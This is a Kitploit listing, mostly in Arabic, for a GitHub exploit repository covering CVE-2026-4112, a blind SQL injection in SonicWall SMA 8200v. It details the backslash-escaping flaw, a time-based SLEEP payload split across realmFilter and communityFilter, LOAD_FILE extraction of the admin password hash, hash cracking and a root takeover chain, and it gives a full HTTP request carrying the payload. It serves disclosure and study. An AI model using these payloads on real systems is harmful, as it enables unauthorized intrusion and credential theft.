Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-4112 — تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر SQL ("حقن SQL") في أجهزة سلسلة SonicWall SMA1000 يسمح لمهاجم مصادق عن بُعد بصلاحيات مسؤول للقراءة فقط بتصعيد الصلاحيات إلى مسؤول أساسي. | Kitploit
أدوات/GitHubGitHub/hann1bl3l3ct3r/cve-2026-4112
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubhann1bl3l3ct3r/cve-2026-4112

CVE-2026-4112

تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر SQL ("حقن SQL") في أجهزة سلسلة SonicWall SMA1000 يسمح لمهاجم مصادق عن بُعد بصلاحيات مسؤول للقراءة فقط بتصعيد الصلاحيات إلى مسؤول أساسي.

عرض المستودع
129منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

SonicWall SMA 8200v: تصعيد الامتيازات عبر حقن SQL أعمى عبر معاملات متقاطعة

البرنامج الثابت: 12.5.0-02283 (تصحيح المنصة على الأساس 12.5.0-02002)

استشارة SonicWall


1. الملخص

ثغرة حقن SQL أعمى بعد المصادقة في وحدة تحكم إدارة SonicWall SMA 8200v (المنفذ 8443) تسمح لأي مسؤول مصادق — بما في ذلك الحسابات منخفضة الامتياز للقراءة فقط — باستخراج تجزئة كلمة مرور SHA-512 للمسؤول الرئيسي من ملف تكوين الجهاز. نظرًا لأن SonicWall يستخدم نفس بيانات الاعتماد لكل من مسؤول وحدة تحكم الإدارة وحساب الجذر لنظام التشغيل، فإن كسر هذه التجزئة يمنح وصولًا كاملًا على مستوى الجذر إلى الجهاز.

التصنيف: تصعيد الامتيازات (من مسؤول منخفض الامتياز إلى الجذر) CVSS 3.1: 7.2 (عالٍ) — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H تعقيد الهجوم: منخفض (يكمل PoC الآلي الاستخراج في حوالي 60-90 دقيقة) المتطلبات المسبقة: أي بيانات اعتماد صالحة لوحدة تحكم الإدارة (بما في ذلك حسابات القراءة فقط)


2. المكونات المتأثرة

المكوّنالتفاصيل
المنصةSonicWall SMA 8200v (جهاز افتراضي)
البرنامج الثابت12.5.0-02283 (مؤكد)؛ على الأرجح جميع إصدارات 12.x
الخدمةوحدة تحكم الإدارة — Jetty + Struts 2 (المنفذ 8443)
نقطة النهايةPOST /activeUsers.action
المعاملات القابلة للاستغلالrealmFilter, communityFilter (معاملات متقاطعة)
فئة السبب الجذريcom.aventail.mgmt.sql.Sql.safeParam()
قاعدة البياناتMariaDB 10.11.14، المستخدم DbAdmin (جميع الامتيازات + FILE)
الملف المستهدف/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml

3. تفاصيل الثغرة

3.1 السبب الجذري: تعقيم إدخال غير مكتمل في safeParam()

تقوم وحدة تحكم الإدارة ببناء استعلامات SQL للوحة المستخدمين النشطين باستخدام طريقة مساعدة safeParam() في الفئة com.aventail.mgmt.sql.Sql. تقوم هذه الطريقة بإفلات علامات الاقتباس المفردة (') والاقتباسات المزدوجة (") بمضاعفتها، لكنها لا تقوم بإفلات أحرف الخط المائل العكسي (\).

في MySQL/MariaDB، الخط المائل العكسي هو حرف الإفلات الافتراضي داخل السلاسل النصية. التسلسل \' يجعل قاعدة البيانات تفسر علامة الاقتباس المفردة كحرف حرفي بدلاً من إنهاء السلسلة. هذا يعني أن الخط المائل العكسي في نهاية قيمة المعامل سيقوم بإفلات علامة الاقتباس الختامية التي يضيفها التطبيق، مما يتسبب في امتداد السلسلة النصية في SQL إلى الصياغة المجاورة.

فجوة التعقيم:``` Input: test
safeParam output: test\ (backslash NOT escaped) In SQL: ... rt.name='test') AND (ct.name='...' ^^ backslash escapes the closing quote

يتم استهلاك علامة الإقفال `'` بعد `test\` كحرف اقتباس حرفي داخل السلسلة، لذا يمتد حرف السلسلة النصية SQL عبر الحدود `) AND (ct.name='` وإلى قيمة المعامل التالي، حيث يمكن حقن SQL يتحكم فيه المهاجم.

### 3.2 آلية الحقن: تقنية عبر المعاملات

يقبل نقطة النهاية `activeUsers.action` معاملات تصفية متعددة يتم إدراجها في جملة WHERE واحدة في SQL. المعاملات ذات الصلة هي `realmFilter` و`communityFilter`، والتي تظهر في استعلام منظم تقريبًا على النحو التالي:```sql
SELECT ... FROM ...
WHERE ...
  AND (rt.name='<realmFilter>')
  AND (ct.name='<communityFilter>')
  ...

إعداد معامل الهجوم:

المعاملالقيمةالغرض
realmFiltertest\الشرطة المائلة للخلف في النهاية تهرب علامة الاقتباس الختامية، مما يمدد السلسلة الحرفية عبر حدود AND
communityFilter)) OR (SELECT IF(<condition>,SLEEP(N),0))-- xيغلق الأقواس المفتوحة، ويحقن SLEEP الشرطي، ويعلّق على ما تبقى

SQL الناتج بعد الاستيفاء:```sql WHERE ... AND (rt.name='test') AND (ct.name=' )) OR (SELECT IF(,SLEEP(N),0))-- x')

بتقسيم هذا:

1. `rt.name='test\')` — الرمز `\` يهرب علامة `'`، لذا لا تُغلق السلسلة هنا
2. `AND (ct.name='` — يصبح جزءًا من قيمة السلسلة (نص حرفي)
3. تُغلق السلسلة أخيرًا عند علامة `'` التالية (من بداية `communityFilter`)
4. `))` — يُغلق القوسين المفتوحين من بنية جملة WHERE
5. `OR (SELECT IF(...))` — يحقن شرط SQL الأعمى القائم على الزمن
6. `-- x` — يعلّق على باقي استعلام SQL (`')` والبنود الأخرى)

### 3.3 الاستخراج الأعمى القائم على الزمن

نظرًا لأن معالجة أخطاء تطبيق Struts 2 تلتقط استثناءات SQL بشكل سلس (تعيد دائمًا HTTP 200 مع نفس محتوى الصفحة بغض النظر عن نجاح الاستعلام أو فشله)، فإن طرق الاستخراج القائمة على الأخطاء أو UNION ليست مجدية. يتم استغلال الحقن باستخدام تقنية الأعمى القائم على الزمن:

- **الشرط TRUE:** `IF(<condition>, SLEEP(N), 0)` — يتأخر الاستجابة بمدة SLEEP مضروبة في عدد صفوف مجموعة النتائج
- **الشرط FALSE:** لا يوجد SLEEP — تعود الاستجابة خلال ~200-500ms

تنفذ دالة SLEEP لكل صف في تقييم جملة WHERE. مع جدول مراقبة نموذجي يحتوي على 30-300+ صفًا، حتى قيمة SLEEP صغيرة (مثل 0.3 ثانية) تنتج تأخيرًا واضحًا يمكن تمييزه (10-100 ثانية للشرط TRUE مقابل <1 ثانية للشرط FALSE).

يتم استخراج كل حرف من البيانات المستهدفة عبر بحث ثنائي على نطاق ASCII:```sql
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>

يتطلب هذا حدًا أقصى يبلغ 7 طلبات لكل حرف (log2(128) = 7)، مما ينتج عنه ~686 طلبًا إجماليًا لتجزئة SHA-512 مكونة من 98 حرفًا.


4. سلسلة الاستغلال

4.1 نظرة عامة```

                     PRIVILEGE ESCALATION CHAIN

============================================================================

[1] Authenticate Low-privilege admin (e.g., "readonly") | authenticates to management console on port 8443 | using "Local Authentication" realm v [2] SQL Injection Cross-parameter blind SQLi via activeUsers.action | realmFilter backslash + communityFilter payload | Condition: IF(, SLEEP(N), 0) v [3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege | secure_file_priv=NULL does NOT block reads | avconfig.xml is group-readable (mode 664) v [4] Locate Hash LOCATE('consoleMode', file) anchors to admin section | LOCATE('', file, anchor) finds hash element | SUBSTRING + SUBSTRING_INDEX extracts hash value v [5] Extract Hash Binary search extracts hash char-by-char | ~98 chars * ~7 requests = ~686 requests | Output: $6$$ (SHA-512 crypt) v [6] Crack Hash hashcat -m 1800 / john --format=sha512crypt | Admin password = Root SSH password (by design) v [7] Full Compromise SSH as root, management console as admin Complete appliance takeover

### 4.2 الخطوة 1: المصادقة

تدعم وحدة تحكم إدارة SMA نطاقين للمصادقة:

| معرف النطاق | الاسم المعروض | المستخدمون |
|----------|-------------|-------|
| *(فارغ)* | وحدة تحكم الإدارة | حساب المسؤول الأساسي فقط |
| `AMCAuthRealm` / `المصادقة المحلية` | المصادقة المحلية | حسابات المسؤول الثانوية (للقراءة فقط، مخصصة) |

يتطلب الهجوم فقط بيانات اعتماد صالحة لأي حساب لديه صلاحية الوصول إلى وحدة تحكم الإدارة. حساب "للقراءة فقط" — المخصص للوصول للمراقبة فقط دون أي قدرة على تغيير الإعدادات — كافٍ.

تتم المصادقة عبر مصادقة قائمة على نموذج J2EE:

1. `GET /console.action` — استرجاع صفحة تسجيل الدخول، واستخراج رمز CSRF من حقل النموذج المخفي
2. `POST /j_security_check` — إرسال `csrfToken` و`j_username` و`j_password` و`realmId`
3. إعادة توجيه HTTP 303 عند النجاح، مع إنشاء ملف تعريف ارتباط `JSESSIONID`

### 4.3 الخطوة 2: حقن SQL

بعد المصادقة، يرسل المهاجم طلب POST إلى `/activeUsers.action` مع حقن المعاملات المتقاطعة:```
POST /activeUsers.action HTTP/1.1
Host: <target>:8443
Cookie: JSESSIONID=<session>
Content-Type: application/x-www-form-urlencoded

realmFilter=test\&communityFilter=)) OR (SELECT IF(1=1,SLEEP(0.3),0))-- x&userNameFilter=&zoneFilter=&platformFilter=&agentFilter=&agentVersionFilter=&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter

IF(1=1, SLEEP(0.3), 0) غير المشروط يتحقق من أن الحقن يعمل من خلال ملاحظة تأخير قابل للقياس في استجابة HTTP.

تنزيل الأداة